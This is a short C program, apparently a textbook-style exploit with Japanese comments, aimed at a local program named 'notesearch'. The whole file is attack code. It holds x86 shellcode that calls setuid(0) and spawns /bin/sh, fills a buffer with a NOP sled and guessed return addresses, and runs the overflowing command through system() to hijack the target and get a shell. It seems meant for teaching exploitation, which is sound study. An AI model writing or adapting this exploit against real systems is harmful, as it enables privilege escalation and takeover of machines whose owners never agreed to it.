#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80";

int main(int argc, char *argv[]) {
  unsigned int i, *ptr, ret, offset=270;
  char *command, *buffer;

  command = (char *) malloc(200);
  bzero(command, 200); // 新たなメモリ領域を0クリアする
  
  strcpy(command, "./notesearch \'"); // コマンドバッファを開始する
  buffer = command + strlen(command); // バッファの終端を設定する

  if (argc > 1) // オフセットを設定する
    offset = atoi(argv[1]);

  ret = (unsigned int) &i - offset; // 戻りアドレスを設定する

  for (i=0; i < 160; i+=4) // 戻りアドレスでバッファを埋める
    *((unsigned int *)(buffer+i)) = ret;

  memset(buffer, 0x90, 60); //NOPスレッドを構築する
  memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

  strcat(command, "\'");

  system(command); // 脆弱性攻撃を実行する
  free(command);
}






